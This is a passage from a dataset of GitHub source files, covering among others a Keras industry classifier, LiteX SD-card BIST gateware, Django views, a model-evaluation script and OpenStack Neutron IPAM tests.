LSTM model. \"\"\"\n companies = self._encode_company(companies, True)\n industries = self._encode_industry(industries, True)\n X_train, X_valid, y_train, y_valid = train_test_split(companies, industries, test_size=split_rate)\n valid_batch_size = min(batch_size, len(X_valid) // 3)\n train_gtr = KerasBatchGenerator(X_train, y_train, batch_size)\n valid_gtr = KerasBatchGenerator(X_valid, y_valid, valid_batch_size)\n\n earlystop = EarlyStopping(patience=patience)\n checkpoint = ModelCheckpoint(model_weight_path, save_best_only=save_best_only,\n save_weights_only=save_weights_only)\n history = History()\n\n model = Sequential()\n model.add(Embedding(input_dim=self._vocab_size, output_dim=self._embedding_size, input_length=self._pad_size))\n model.add(Conv1D(self._filters, self._kernel_size, activation='relu'))\n model.add(MaxPooling1D(self._pool_size))\n model.add(Dropout(rate=self._cnn_dropout))\n model.add(Flatten())\n model.add(Dense(self._ind_encoder.class_size, activation='sigmoid'))\n model.compile(optimizer=self._optimizer, loss=self._loss, metrics=self._metrics)\n\n model.fit_generator(train_gtr.generate(), len(X_train) // batch_size, epochs=epochs,\n validation_data=valid_gtr.generate(), validation_steps=len(X_valid) // valid_batch_size,\n callbacks=[earlystop, checkpoint, history])\n for epoch in np.arange(0, len(model.history.history['loss'])):\n logger.info(f\"Epoch={epoch + 1}, \"\n f\"{', '.join(f'{key}={value[epoch]}' for key, value in model.history.history.items())}\")\n\n # Save the model structure.\n with open(model_graph_path, 'w') as f:\n f.write(model.to_json())\n\n # Load the trained model.\n self._model = model\n\n def load(self, model_weights_path=_classifier_weights_path, model_graph_path=_classifier_graph_path):\n \"\"\" Load the existing master model. \"\"\"\n K.clear_session()\n with open(model_graph_path, 'r') as f:\n model_graph = f.read()\n self._model = model_from_json(model_graph)\n self._model.load_weights(model_weights_path)\n\n def update(self, companies, industries, split_rate=0.2, batch_size=64, patience=1,\n model_weights_next_path=_classifier_weights_next_path, model_graph_next_path=_classifier_graph_next_path,\n save_best_only=True, save_weights_only=True, epochs=2):\n \"\"\" This function keep the original model, update the model and save it as default model. \"\"\"\n companies = self._encode_company(companies)\n industries = self._encode_industry(industries)\n X_train, X_valid, y_train, y_valid = train_test_split(companies, industries, test_size=split_rate)\n valid_batch_size = min(batch_size, len(X_valid) // 3)\n train_gtr = KerasBatchGenerator(X_train, y_train, batch_size)\n valid_gtr = KerasBatchGenerator(X_valid, y_valid, valid_batch_size)\n\n earlystop = EarlyStopping(patience=patience)\n checkpoint = ModelCheckpoint(model_weights_next_path, save_best_only=save_best_only,\n save_weights_only=save_weights_only)\n history = History()\n\n if not self._model:\n self.load()\n\n self._model.fit_generator(train_gtr.generate(), len(X_train) // batch_size, epochs=epochs,\n validation_data=valid_gtr.generate(), validation_steps=len(X_valid) // valid_batch_size,\n callbacks=[earlystop, checkpoint, history])\n for epoch in np.arange(0, len(self._model.history.history['loss'])):\n logger.info(f\"Epoch={epoch + 1}, \"\n f\"{', '.join(f'{key}={value[epoch]}' for key, value in self._model.history.history.items())}\")\n\n # Save the model structure.\n with open(model_graph_next_path, 'w') as f:\n f.write(self._model.to_json())\n\n def overwrite(self):\n \"\"\"This function copy the next model version to overwrite the current version.\"\"\"\n move_file = Popen(f'cp {self._classifier_weights_next_path} {self._classifier_weights_path}; '\n f'cp {self._classifier_graph_next_path} {self._classifier_graph_path}',\n shell=True, stdout=PIPE, executable='/bin/bash')\n move_file.communicate()\n\n def predict(self, companies, return_prob=False, cutoff=ind_cutoff):\n \"\"\" This function predicts the industries with given companies. \"\"\"\n if not self._model:\n self.load()\n companies = self._encode_company(companies)\n y_pred_prob = self._model.predict(companies)\n y_pred_prob_max = np.max(y_pred_prob, axis=1)\n y_pred_class = np.argmax(y_pred_prob, axis=1)\n y_pred_class = self._ind_encoder.decode(y_pred_class)\n y_pred_class = np.where(y_pred_prob_max >= cutoff, y_pred_class, None)\n if return_prob:\n return [{'industry': pred, 'prob': [{key: value} for key, value in zip(self._ind_encoder.classes, prob)]}\n for pred, prob in zip(y_pred_class, y_pred_prob)]\n else:\n return y_pred_class.tolist()\n\n\nclass IndustryModel(object):\n \"\"\" Character-based bi-directional LSTM model. \"\"\"\n _classifier_weights_file_name = 'model_weights.h5'\n _classifier_graph_file_name = 'model_graph.json'\n _classifier_weights_path = os.path.join(PARENT_DIR, 'industryguesser/models', _classifier_weights_file_name)\n _classifier_graph_path = os.path.join(PARENT_DIR, 'industryguesser/models', _classifier_graph_file_name)\n\n def __init__(self):\n self._com_encoder = CompanyEncoder(lower=True, pad_size=18, padding='post')\n self._ind_encoder = IndustryEncoder()\n\n def _encode_company(self, companies, fit=False):\n \"\"\" Encode the input companies with CompanyEncoder. \"\"\"\n if fit:\n self._com_encoder.fit(companies)\n encoded_companies = self._com_encoder.encode(companies)\n\n return encoded_companies\n\n @classmethod\n def load(cls):\n K.clear_session()\n with open(cls._classifier_graph_path, 'r') as f:\n model_graph = f.read()\n model = model_from_json(model_graph)\n model.load_weights(cls._classifier_weights_path)\n return model\n\n def predict(self, model, companies, return_prob=False, cutoff=ind_cutoff):\n \"\"\" This function predicts the industry with given companies. \"\"\"\n companies = self._encode_company(companies)\n y_pred_prob = model.predict(companies)\n y_pred_prob_max = np.max(y_pred_prob, axis=1)\n y_pred_class = np.argmax(y_pred_prob, axis=1)\n y_pred_class = self._ind_encoder.decode(y_pred_class)\n y_pred_class = np.where(y_pred_prob_max >= cutoff, y_pred_class, None)\n if return_prob:\n return [{'industry': pred, 'prob': [{key: value} for key, value in zip(self._ind_encoder.classes, prob)]}\n for pred, prob in zip(y_pred_class, y_pred_prob)]\n else:\n return y_pred_class.tolist()\n","repo_name":"yangzhengzhiroy/IndustryGuesser","sub_path":"industryguesser/classifier.py","file_name":"classifier.py","file_ext":"py","file_size_in_byte":10340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"72690476072","text":"'''\r\nDictionary Comprehension\r\nData: 06/01/2022\r\n\r\nMelhorar o código na perspectiva de número de\r\nlinhas e de velocidade\r\n'''\r\n\r\nlista = [\r\n ['Fernando', 22],\r\n ['Isa', 20],\r\n]\r\n\r\n# Cria um dicionário a partir de uma lista ----\r\ndicionario = {x: y for x, y in lista}\r\nprint(dicionario)\r\n\r\n# Possível também mudar uma das variáveis\r\ndicionario = {x.upper(): y for x, y in lista}\r\nprint(dicionario)\r\n\r\n# enumerate pode ser útil também\r\nnumero_dicionario = {x: y for x, y in enumerate(range(3))}\r\nprint(numero_dicionario)\r\n\r\n# Trabalhar somente um dado traria um set comprehension\r\nset_nomes = {x for x, y in lista} # necessário especificar se estamos\r\n# tratando do primeiro ou segundo valor\r\nprint(set_nomes)\r\n\r\n# Exemplo ----\r\nquadrado = {f'Chave {x}': x**2 for x in range(5)}\r\nprint(quadrado)","repo_name":"Fernando-Urbano/python-oop-studies","sub_path":"dictionary_comprehension.py","file_name":"dictionary_comprehension.py","file_ext":"py","file_size_in_byte":808,"program_lang":"python","lang":"pt","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"5027283733","text":"from migen import *\n\nfrom litex.gen import *\n\nfrom litex.soc.interconnect import stream\nfrom litex.soc.interconnect.csr import *\n\n# LFSR/Counter -------------------------------------------------------------------------------------\n\n@CEInserter()\nclass LFSR(LiteXModule):\n def __init__(self, n_out, n_state=31, taps=[27, 30]):\n self.o = Signal(n_out)\n\n # # #\n\n state = Signal(n_state)\n curval = [state[i] for i in range(n_state)]\n curval += [0]*(n_out - n_state)\n for i in range(n_out):\n nv = ~Reduce(\"XOR\", [curval[tap] for tap in taps])\n curval.insert(0, nv)\n curval.pop()\n\n self.sync += [\n state.eq(Cat(*curval[:n_state])),\n self.o.eq(Cat(*curval))\n ]\n\n\n@CEInserter()\nclass Counter(LiteXModule):\n def __init__(self, n_out):\n self.o = Signal(n_out)\n\n # # #\n\n self.sync += self.o.eq(self.o + 1)\n\n# BISTBlockGenerator -------------------------------------------------------------------------------\n\n@ResetInserter()\nclass _BISTBlockGenerator(LiteXModule):\n def __init__(self, random):\n self.source = source = stream.Endpoint([(\"data\", 32)])\n self.start = Signal()\n self.done = Signal()\n self.count = Signal(32)\n\n # # #\n\n gen_cls = LFSR if random else Counter\n gen = gen_cls(32)\n self.submodules += gen\n\n blkcnt = Signal(32)\n datcnt = Signal(9)\n\n self.fsm = fsm = FSM(reset_state=\"IDLE\")\n fsm.act(\"IDLE\",\n If(self.start,\n NextValue(blkcnt, 0),\n NextValue(datcnt, 0),\n NextState(\"RUN\")\n )\n )\n fsm.act(\"RUN\",\n source.valid.eq(1),\n source.last.eq(datcnt == (512//4 - 1)),\n If(source.ready,\n gen.ce.eq(1),\n If(source.last,\n If(blkcnt == (self.count - 1),\n NextState(\"DONE\")\n ).Else(\n NextValue(blkcnt, blkcnt + 1),\n NextValue(datcnt, 0)\n ),\n ).Else(\n NextValue(datcnt, datcnt + 1)\n )\n )\n )\n fsm.act(\"DONE\",\n self.done.eq(1)\n )\n self.comb += source.data.eq(gen.o)\n\n\nclass BISTBlockGenerator(LiteXModule):\n def __init__(self, random):\n self.source = source = stream.Endpoint([(\"data\", 32)])\n self.reset = CSR()\n self.start = CSR()\n self.done = CSRStatus()\n self.count = CSRStorage(32, reset=1)\n\n # # #\n\n self.core = core = _BISTBlockGenerator(random)\n self.comb += [\n core.source.connect(source),\n core.reset.eq(self.reset.re),\n core.start.eq(self.start.re),\n self.done.status.eq(core.done),\n core.count.eq(self.count.storage)\n ]\n\n# BISTBlockChecker ---------------------------------------------------------------------------------\n\n@ResetInserter()\nclass _BISTBlockChecker(LiteXModule):\n def __init__(self, random):\n self.sink = sink = stream.Endpoint([(\"data\", 32)])\n self.start = Signal()\n self.done = Signal()\n self.count = Signal(32)\n self.errors = Signal(32)\n\n # # #\n\n gen_cls = LFSR if random else Counter\n gen = gen_cls(32)\n self.submodules += gen\n\n blkcnt = Signal(32)\n datcnt = Signal(9)\n\n self.fsm = fsm = FSM(reset_state=\"IDLE\")\n fsm.act(\"IDLE\",\n sink.ready.eq(1),\n self.done.eq(1),\n If(self.start,\n NextValue(blkcnt, 0),\n NextValue(datcnt, 0),\n NextValue(self.errors, 0),\n NextState(\"RUN\")\n )\n )\n fsm.act(\"RUN\",\n sink.ready.eq(1),\n If(sink.valid,\n gen.ce.eq(1),\n NextValue(datcnt, datcnt + 1),\n If(sink.data != gen.o,\n \tIf(self.errors != (2**32-1),\n \tNextValue(self.errors, self.errors + 1)\n )\n ),\n If(sink.last | (datcnt == (512//4 - 1)),\n If(blkcnt == (self.count - 1),\n NextState(\"DONE\")\n ).Else(\n NextValue(blkcnt, blkcnt + 1),\n NextValue(datcnt, 0)\n ),\n )\n )\n )\n fsm.act(\"DONE\",\n self.done.eq(1)\n )\n\n\nclass BISTBlockChecker(LiteXModule):\n def __init__(self, random):\n self.sink = sink = stream.Endpoint([(\"data\", 32)])\n self.reset = CSR()\n self.start = CSR()\n self.done = CSRStatus()\n self.count = CSRStorage(32, reset=1)\n self.errors = CSRStatus(32)\n\n # # #\n\n self.core = core = _BISTBlockChecker(random)\n self.comb += [\n sink.connect(core.sink),\n core.reset.eq(self.reset.re),\n core.start.eq(self.start.re),\n self.done.status.eq(core.done),\n core.count.eq(self.count.storage),\n self.errors.status.eq(core.errors)\n ]\n","repo_name":"enjoy-digital/litesdcard","sub_path":"litesdcard/frontend/bist.py","file_name":"bist.py","file_ext":"py","file_size_in_byte":5259,"program_lang":"python","lang":"en","doc_type":"code","stars":102,"dataset":"github-code","pt":"72"} +{"seq_id":"6534762509","text":"import sys\nsys.path.insert(0, '/home/mahlet/10ac/Sales_prediction/')\nimport streamlit as st \n\nfrom pages import data_viz_II\nfrom pages import data_viz\nfrom pages import prediction\n\n\n\n#Navigation to the pages \nPAGES={\n \n \"Data Visualization\": data_viz,\n \"Data Visualization II\": data_viz_II,\n \"Prediction\":prediction\n} \n\n\n\ndef main():\n \n st.sidebar.title(\"MENU\")\n \n\n\n st.write(\"\"\"\n # Rosemann Sales Prediction App\n Rossmann is one of the largest drug store chains in Europe with around 56,200 employees and more than 4000 stores across Europe.\n In 2019 Rossmann had more than €10 billion turnover in Germany, Poland, Hungary, the Czech Republic, Turkey, Albania, Kosovo and Spain.\n \n\n \"\"\")\n \n\n \n selection = st.sidebar.selectbox(\"Select....\",list(PAGES.keys()))\n\n page= PAGES[selection]\n\n with st.spinner(f\"Loading {selection}...\"):\n page.app()\n\n\nif __name__==\"__main__\":\n main()","repo_name":"mahlettaye/Sales_prediction","sub_path":"Nav_pages.py","file_name":"Nav_pages.py","file_ext":"py","file_size_in_byte":944,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"18622697060","text":"from django.shortcuts import render\r\nfrom .forms import *\r\nfrom .models import *\r\nfrom django.http import JsonResponse\r\nfrom orgs.models import *\r\nfrom courses.models import *\r\nfrom django.db.models import Q , F\r\n\r\n# Create your views here.\r\ndef user_ask(request):\r\n user_ask_from = UserAskForms(request.POST)\r\n print(user_ask_from)\r\n if user_ask_from.is_valid():\r\n user_ask_from.save(commit=True)\r\n #保存提交的数据\r\n return JsonResponse({\r\n 'status':'ok',\r\n 'msg':'提交成功',\r\n })\r\n else:\r\n return JsonResponse({\r\n 'status':'fail',\r\n 'msg':'提交失败',\r\n })\r\n\r\ndef user_love(request):\r\n loveid = request.GET.get('loveid','')\r\n lovetype = request.GET.get('lovetype','')\r\n\r\n if loveid and lovetype:\r\n # 判断是哪一种收藏类型 并做加减处理\r\n obj = None\r\n if lovetype == 1:\r\n obj = CourseInfo.objects.filter(id = loveid)[0]\r\n if lovetype == 2:\r\n obj = OrgInfo.objects.filter(id=loveid)[0]\r\n if lovetype == 3:\r\n obj = TeacherInfo.objects.filter(id=loveid)[0]\r\n\r\n\r\n #如果收藏已存在 ,验证收藏记录\r\n love = UserLove.objects.filter(loveid=loveid,lovetype=lovetype)\r\n if love:\r\n if love[0].love_status:\r\n #如果状态是真 当用户再次请求时 把状态改为假\r\n love[0].love_status = False\r\n love[0].save()\r\n obj.love_num -= 1\r\n obj.save()\r\n return JsonResponse({\r\n 'success':'ok',\r\n 'msg':'收藏',\r\n })\r\n else:\r\n #如果状态为假 把状态改为真\r\n love[0].love_status = True\r\n love[0].save()\r\n obj.love_num +=1\r\n obj.save()\r\n return JsonResponse({\r\n 'success': 'ok',\r\n 'msg': '取消收藏',\r\n })\r\n else:\r\n #如果没有收藏数据 ,创建收藏数据\r\n a = UserLove()\r\n a.love_man = 'aaa'\r\n a.love_id = loveid\r\n a.love_type = lovetype\r\n a.love_status = True\r\n a.save()\r\n obj.love_num +=1\r\n obj.save()\r\n return JsonResponse({\r\n 'success':'ok',\r\n 'msg':'收藏成功',\r\n })\r\n\r\n else:\r\n return JsonResponse({\r\n 'fail':'error',\r\n 'msg':'失败',\r\n })\r\n\r\n\r\ndef user_dellove(request):\r\n loveid = request.GET.get('love_id','')\r\n lovetype = request.GET.get('love_type','')\r\n print(loveid,lovetype)\r\n\r\n if loveid and lovetype:\r\n love = UserLove.objects.filter(love_id=loveid,love_type=lovetype,love_status=True,love_man=request.user)\r\n if love:\r\n love[0].love_status = False\r\n love[0].save()\r\n return JsonResponse({\r\n 'status':'ok',\r\n 'msg':'cancel success'\r\n })\r\n else:\r\n return JsonResponse({\r\n 'status': 'fail',\r\n 'msg': 'cancel fail'\r\n })\r\n else:\r\n return JsonResponse({\r\n 'status': 'fail',\r\n 'msg': 'cancel fail'\r\n })\r\n\r\n\r\ndef orginfo(request):\r\n orglist = OrgInfo.objects.all()\r\n #根据base页面 传回来的搜索关键字 检索相关内容并返回\r\n keyword = request.GET.get('keyword','')\r\n if keyword:\r\n orglist = orglist.filter(Q(name__icontains=keyword)|Q(desc__icontains=keyword))\r\n\r\n\r\n\r\n\r\n","repo_name":"vanllna/django","sub_path":"apps/operations/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"13310328946","text":"import numpy as np\nfrom sklearn.metrics import r2_score, roc_curve, auc, confusion_matrix\nimport matplotlib.pyplot as plt\n\nclass PerformanceEvaluator(object):\n def __init__(self, test_label, test_prediction, test_regession_loss):\n self.test_label = test_label\n self.test_prediction = test_prediction\n self.test_regession_loss = test_regession_loss\n\n def measures_accuracy(self, save_path):\n ylim = np.max(self.test_label)\n r2score = r2_score(self.test_label.flatten(), self.test_prediction.flatten())\n r_mean = np.mean(self.test_prediction, axis = 0)\n r_std = np.std(self.test_prediction, axis = 0)\n R_loss_test = np.sqrt(R_loss_test/int(self.test_label.shape[0]))\n r_xaxis = np.arange(self.test_label.shape[1])\n r_xaxis_poly = np.concatenate((r_xaxis, np.flip(r_xaxis)), axis = 0)\n r_poly1 = np.concatenate((r_mean + 1.96 * r_std, np.flip(r_mean - 1.96 * r_std)), axis = 0)\n \n fig = plt.figure(figsize = (8, 5))\n plt.plot(r_xaxis, r_mean * 100, 'r', linewidth = 3)\n plt.fill(r_xaxis_poly, r_poly1 * 100, alpha = 0.4, color = 'r')\n plt.plot([-100, 100], [-100, 100], 'k--', linewidth = 3)\n plt.legend(('Mean of estimation', 'Ideal estimation', '95% Confidence interval'), fontsize = 15, loc = 'lower right')\n plt.xlim([0, ylim * 100])\n plt.ylim([0, ylim * 100 + 10])\n plt.title('MSE: ' + str(np.round_(R_loss_test, 3)) + ', R2: ' + str(np.round_(r2score, 3)))\n plt.xlabel('Real Severity (Inclusion [%])', fontsize = 20)\n plt.ylabel('Estimated Severity (DL)', fontsize = 20)\n plt.tight_layout()\n fig.savefig(save_path)\n plt.close(fig)\n \n\n def draws_BA_plot(self, save_path, sd_limit=1.96):\n randint = np.random.randint(0, self.test_label.shape[0], 16)\n fig = plt.figure(figsize = (8, 5))\n m1 = np.reshape(self.test_label[randint], -1) * 100\n m2 = np.reshape(self.test_prediction[randint], -1) * 100\n diffs = m1 - m2\n mean_diff = np.mean(diffs)\n std_diff = np.std(diffs, axis=0)\n\n scatter_kwds=None\n mean_line_kwds=None\n limit_lines_kwds=None\n\n ax = plt.gca()\n\n scatter_kwds = scatter_kwds or {}\n if 's' not in scatter_kwds:\n scatter_kwds['s'] = 20\n mean_line_kwds = mean_line_kwds or {}\n limit_lines_kwds = limit_lines_kwds or {}\n for kwds in [mean_line_kwds, limit_lines_kwds]:\n if 'color' not in kwds:\n kwds['color'] = 'gray'\n if 'linewidth' not in kwds:\n kwds['linewidth'] = 2\n if 'linestyle' not in mean_line_kwds:\n kwds['linestyle'] = '--'\n if 'linestyle' not in limit_lines_kwds:\n kwds['linestyle'] = ':'\n\n ax.scatter(m1, diffs, **scatter_kwds)\n ax.axhline(mean_diff, **mean_line_kwds) # draw mean line.\n\n # Annotate mean line with mean difference.\n ax.annotate('mean diff:\\n{}'.format(np.round(mean_diff, 2)),\n xy=(0.99, 0.5),\n horizontalalignment='right',\n verticalalignment='center',\n fontsize=14,\n xycoords='axes fraction')\n\n if sd_limit > 0:\n half_ylim = (1.5 * sd_limit) * std_diff\n ax.set_ylim(mean_diff - half_ylim,\n mean_diff + half_ylim)\n\n limit_of_agreement = sd_limit * std_diff\n lower = mean_diff - limit_of_agreement\n upper = mean_diff + limit_of_agreement\n for j, lim in enumerate([lower, upper]):\n ax.axhline(lim, **limit_lines_kwds)\n ax.annotate('-SD{}: {}'.format(sd_limit, np.round(lower, 2)),\n xy=(0.99, 0.40),\n horizontalalignment='right',\n verticalalignment='bottom',\n fontsize=14,\n xycoords='axes fraction')\n ax.annotate('+SD{}: {}'.format(sd_limit, np.round(upper, 2)),\n xy=(0.99, 0.56),\n horizontalalignment='right',\n fontsize=14,\n xycoords='axes fraction')\n\n elif sd_limit == 0:\n half_ylim = 3 * std_diff\n ax.set_ylim(mean_diff - half_ylim,\n mean_diff + half_ylim)\n ax.set_ylim([-55, 55])\n ax.set_ylabel('Difference [%]', fontsize=20)\n ax.set_xlabel('True PAD Severity [%]', fontsize=20)\n plt.tight_layout()\n fig.savefig(save_path)\n plt.close(fig)\n \n def evaluates_performance(self, result_dir, model_name, regressor_type):\n thresholds = np.array([20, 30, 40, 50, 60, 70])\n auc_dl = np.zeros((thresholds.shape[0]))\n acc_dl = np.zeros((thresholds.shape[0]))\n sens_dl = np.zeros((thresholds.shape[0]))\n spec_dl = np.zeros((thresholds.shape[0]))\n\n fig = plt.figure(figsize = (8, 5)) \n plt.title('Receiver Operationg Characteristic', fontsize = 20)\n plt.xlabel('1 - Specificity', fontsize = 20)\n plt.ylabel('Sensitivity', fontsize = 20) \n alphas = [0.2, 0.5, 1.0]\n alpha_n = 0\n for kk in range(thresholds.shape[0]):\n threshold = thresholds[kk]\n y_real = self.test_label.copy()\n y_pred = self.test_prediction.copy()\n y_real[:, :threshold] = 0\n y_real[:, threshold:] = 1\n y_real_0 = y_real[:, :threshold]\n y_real_1 = y_real[:, threshold:]\n y_pred_0 = y_pred[:, :threshold]\n y_pred_1 = y_pred[:, threshold:]\n \n #ROC and ACU\n y_real = np.reshape(y_real, -1)\n y_pred = np.reshape(y_pred, -1)\n\n false_positive_rate_DL, true_positive_rate_DL, _ = roc_curve(y_real, y_pred)\n roc_auc_DL = auc(false_positive_rate_DL, true_positive_rate_DL)\n if threshold in [20, 50, 70]:\n plt.plot(false_positive_rate_DL, true_positive_rate_DL, 'b', alpha = alphas[alpha_n], label='Model DL (AUC = %0.2f) - '%roc_auc_DL + 'threshold = ' + str(threshold))\n alpha_n = alpha_n + 1\n auc_dl[kk] = roc_auc_DL\n \n #Accuracy\n y_real_0 = np.reshape(y_real_0, -1)\n y_real_1 = np.reshape(y_real_1, -1)\n y_pred_0 = np.reshape(y_pred_0, -1)\n y_pred_1 = np.reshape(y_pred_1, -1)\n rndidx_0 = np.random.randint(y_real_0.shape[0], size = 1000)\n rndidx_1 = np.random.randint(y_real_1.shape[0], size = 1000)\n y_real_0 = y_real_0[rndidx_0]\n y_real_1 = y_real_1[rndidx_1]\n y_pred_0 = y_pred_0[rndidx_0]\n y_pred_1 = y_pred_1[rndidx_1]\n y_real = np.concatenate((y_real_0, y_real_1))\n y_pred = np.concatenate((y_pred_0, y_pred_1))\n for ii in range(y_pred.shape[0]):\n if y_pred[ii] > threshold/100:\n y_pred[ii] = 1\n else:\n y_pred[ii] = 0\n cm_dl = confusion_matrix(y_real, y_pred)\n sens_dl[kk] = (cm_dl[0, 0])/(cm_dl[0, 0] + cm_dl[1, 0])\n spec_dl[kk] = (cm_dl[1, 1])/(cm_dl[0, 1] + cm_dl[1, 1])\n acc_dl[kk] = (cm_dl[0, 0] + cm_dl[1, 1])/(cm_dl[0, 0] + cm_dl[0, 1] + cm_dl[1, 0] + cm_dl[1, 1])\n plt.plot([0,1],[1,1], 'y--')\n plt.plot([0,1],[0,1], 'r--') \n plt.legend(loc = 'lower right', fontsize = 10)\n plt.show()\n fig.savefig(\"{}/{}_roc.png\".format(result_dir, model_name))\n plt.close(fig)\n\n np.save(\"{}/{}_auc_dl.npy\".format(result_dir, model_name, regressor_type), auc_dl)\n np.save(\"{}/{}_accuracy_dl.npy\".format(result_dir, model_name, regressor_type), acc_dl)\n np.save(\"{}/{}_sensitivity_dl.npy\".format(result_dir, model_name, regressor_type), sens_dl)\n np.save(\"{}/{}_specificity_dl.npy\".format(result_dir, model_name, regressor_type), spec_dl)\n","repo_name":"shkim-Pandamon/HumanPHM_Regression","sub_path":"lib/performance_evaluator.py","file_name":"performance_evaluator.py","file_ext":"py","file_size_in_byte":8064,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"8674275531","text":"from neutron_lib import context\nfrom oslo_utils import uuidutils\n\nfrom neutron.ipam.drivers.neutrondb_ipam import db_api\nfrom neutron.objects import ipam as ipam_obj\nfrom neutron.tests.unit import testlib_api\n\nCORE_PLUGIN = 'neutron.db.db_base_plugin_v2.NeutronDbPluginV2'\n\n\nclass TestIpamSubnetManager(testlib_api.SqlTestCase):\n \"\"\"Test case for SubnetManager DB helper class\"\"\"\n\n def setUp(self):\n super(TestIpamSubnetManager, self).setUp()\n self.setup_coreplugin(core_plugin=CORE_PLUGIN)\n self.ctx = context.get_admin_context()\n self.neutron_subnet_id = uuidutils.generate_uuid()\n self.ipam_subnet_id = uuidutils.generate_uuid()\n self.subnet_ip = '1.2.3.4'\n self.single_pool = ('1.2.3.4', '1.2.3.10')\n self.multi_pool = (('1.2.3.2', '1.2.3.12'), ('1.2.3.15', '1.2.3.24'))\n self.subnet_manager = db_api.IpamSubnetManager(self.ipam_subnet_id,\n self.neutron_subnet_id)\n self.subnet_manager_id = self.subnet_manager.create(self.ctx)\n self.ctx.session.flush()\n\n def test_create(self):\n self.assertEqual(self.ipam_subnet_id, self.subnet_manager_id)\n subnet_count = ipam_obj.IpamSubnet.count(\n self.ctx, id=self.ipam_subnet_id)\n self.assertEqual(1, subnet_count)\n\n def test_remove(self):\n count = db_api.IpamSubnetManager.delete(self.ctx,\n self.neutron_subnet_id)\n self.assertEqual(1, count)\n subnet_exists = ipam_obj.IpamSubnet.objects_exist(\n self.ctx, id=self.ipam_subnet_id)\n self.assertFalse(subnet_exists)\n\n def test_remove_non_existent_subnet(self):\n count = db_api.IpamSubnetManager.delete(self.ctx,\n 'non-existent')\n self.assertEqual(0, count)\n\n def _validate_ips(self, pools, db_pool):\n self.assertTrue(\n any(pool == (str(db_pool.first_ip), str(db_pool.last_ip))\n for pool in pools))\n\n def test_create_pool(self):\n self.subnet_manager.create_pool(self.ctx,\n self.single_pool[0],\n self.single_pool[1])\n\n ipam_pools = ipam_obj.IpamAllocationPool.get_objects(\n self.ctx, ipam_subnet_id=self.ipam_subnet_id)\n self._validate_ips([self.single_pool], ipam_pools[0])\n\n def test_check_unique_allocation(self):\n self.assertTrue(self.subnet_manager.check_unique_allocation(\n self.ctx, self.subnet_ip))\n\n def test_check_unique_allocation_negative(self):\n self.subnet_manager.create_allocation(self.ctx,\n self.subnet_ip)\n self.assertFalse(self.subnet_manager.check_unique_allocation(\n self.ctx, self.subnet_ip))\n\n def test_list_allocations(self):\n ips = ['1.2.3.4', '1.2.3.6', '1.2.3.7']\n for ip in ips:\n self.subnet_manager.create_allocation(self.ctx, ip)\n allocs = self.subnet_manager.list_allocations(self.ctx)\n self.assertEqual(len(ips), len(allocs))\n for allocation in allocs:\n self.assertIn(str(allocation.ip_address), ips)\n\n def _test_create_allocation(self):\n self.subnet_manager.create_allocation(self.ctx,\n self.subnet_ip)\n alloc = ipam_obj.IpamAllocation.get_objects(\n self.ctx, ipam_subnet_id=self.ipam_subnet_id)\n self.assertEqual(1, len(alloc))\n self.assertEqual(self.subnet_ip, str(alloc[0].ip_address))\n return alloc\n\n def test_create_allocation(self):\n self._test_create_allocation()\n\n def test_delete_allocation(self):\n allocs = self._test_create_allocation()\n self.subnet_manager.delete_allocation(self.ctx,\n allocs[0].ip_address)\n\n alloc_exists = ipam_obj.IpamAllocation.objects_exist(\n self.ctx, ipam_subnet_id=self.ipam_subnet_id)\n self.assertFalse(alloc_exists)\n","repo_name":"openstack/neutron","sub_path":"neutron/tests/unit/ipam/drivers/neutrondb_ipam/test_db_api.py","file_name":"test_db_api.py","file_ext":"py","file_size_in_byte":4097,"program_lang":"python","lang":"en","doc_type":"code","stars":1353,"dataset":"github-code","pt":"72"} +{"seq_id":"40556849547","text":"from src import Mysql\n\n\nclass BaseOption:\n\n @classmethod\n async def insert_or_update(cls, *sqls):\n try:\n engine = await Mysql.get_engine()\n async with engine.acquire() as conn:\n await conn.connection.autocommit(False)\n trans = None\n try:\n trans = await conn.begin()\n for sql in sqls:\n await conn.execute(sql)\n await trans.commit()\n return \"success\"\n except Exception as t:\n if trans:\n await trans.rollback()\n raise Exception(t)\n finally:\n await conn.connection.autocommit(True)\n conn.connection.close()\n except Exception as e:\n raise Exception(e)\n\n @classmethod\n async def query(cls, sql):\n try:\n engine = await Mysql.get_engine()\n async with engine.acquire() as conn:\n try:\n return await conn.execute(sql)\n except Exception as exec_err:\n raise Exception(exec_err)\n finally:\n conn.connection.close()\n except Exception as e:\n raise Exception(e)\n","repo_name":"xushanfeng/aiohttp-example","sub_path":"src/model/base_option.py","file_name":"base_option.py","file_ext":"py","file_size_in_byte":1325,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"27218882667","text":"from django.shortcuts import render\nfrom dbms_project.models import CustomerModel\nfrom dbms_project.models import ProductModel\nfrom dbms_project.models import AlertModel\nfrom django.contrib import messages\nfrom dbms_project.forms import Customerforms, Productforms\nfrom django.db import connection\n\ndef HomePage(request):\n return render(request,'main.html')\n\ndef showcust(request):\n showall=CustomerModel.objects.all()\n return render(request,'Index.html',{\"data\":showall})\n\ndef showpro(request):\n showall=ProductModel.objects.all()\n return render(request,'Index2.html',{\"data\":showall})\n\ndef Insertcust(request):\n if request.method==\"POST\":\n if request.POST.get('cust_id') and request.POST.get('cust_name') and request.POST.get('cust_pass') and request.POST.get('dob') and request.POST.get('pin_code') and request.POST.get('email') and request.POST.get('phone_num'):\n saverecord=CustomerModel()\n saverecord.cust_id=request.POST.get('cust_id')\n saverecord.cust_name=request.POST.get('cust_name')\n saverecord.cust_pass=request.POST.get('cust_pass')\n saverecord.dob=request.POST.get('dob')\n saverecord.pin_code=request.POST.get('pin_code')\n saverecord.email=request.POST.get('email')\n saverecord.phone_num=request.POST.get('phone_num')\n saverecord.save()\n messages.success(request,'Customer '+saverecord.cust_id+ ' is Saved Successfully..!')\n return render(request,'Insert.html')\n else:\n return render(request,'Insert.html')\n\ndef Insertpro(request):\n if request.method==\"POST\":\n if request.POST.get('pro_id') and 